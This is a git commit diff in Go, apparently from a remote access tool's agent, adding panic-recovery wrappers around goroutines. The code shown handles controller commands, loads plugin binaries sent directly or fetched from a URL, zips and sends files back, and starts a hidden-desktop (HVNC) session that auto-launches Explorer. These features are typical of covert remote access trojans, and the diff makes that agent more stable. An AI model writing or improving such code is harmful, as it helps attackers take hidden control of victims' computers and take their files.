safety and hopefully fix crashing bug with GPU mode.

This commit is contained in:
KingKDot
2026-05-07 19:41:47 -05:00
parent 3b51d7f5b6
commit 1a0dc05222
10 changed files with 101 additions and 15 deletions
@@ -359,7 +359,10 @@ func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message stri
}
func sendCommandResultAsync(env *runtime.Env, cmdID string) {
go sendCommandResultSafe(env, cmdID, true, "")
go func() {
defer recoverAndLog("sendCommandResultAsync", nil)
sendCommandResultSafe(env, cmdID, true, "")
}()
}
func payloadNumberToInt64(value interface{}) int64 {
@@ -569,7 +572,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
go func() {
goSafe("plugin load", nil, func() {
if err := env.Plugins.Load(ctx, manifest, binaryBytes); err != nil {
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()})
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
@@ -577,7 +580,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"})
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
}()
})
return nil
case "plugin_load_http":
payload, _ := envelope["payload"].(map[string]interface{})
@@ -591,7 +594,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
pullURL, _ := payload["url"].(string)
expectedSize := int64(toInt(payload["size"]))
go HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize)
goSafe("plugin load http", nil, func() {
HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize)
})
return nil
case "plugin_unload":
payload, _ := envelope["payload"].(map[string]interface{})
+3 -1
View File
@@ -710,7 +710,9 @@ func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sou
wire.WriteMsg(ctx, env.Conn, finalProgress)
time.Sleep(100 * time.Millisecond)
go HandleFileDownload(ctx, env, cmdID, zipPath)
goSafe("file download", nil, func() {
HandleFileDownload(ctx, env, cmdID, zipPath)
})
result := wire.CommandResult{
Type: "command_result",
+2 -2
View File
@@ -38,11 +38,11 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
}
if autoStartExplorer {
go func() {
goSafe("hvnc auto-start explorer", nil, func() {
if err := capture.HVNCAutoStartExplorer(); err != nil {
log.Printf("hvnc: auto-start explorer error: %v", err)
}
}()
})
}
ticker := time.NewTicker(interval)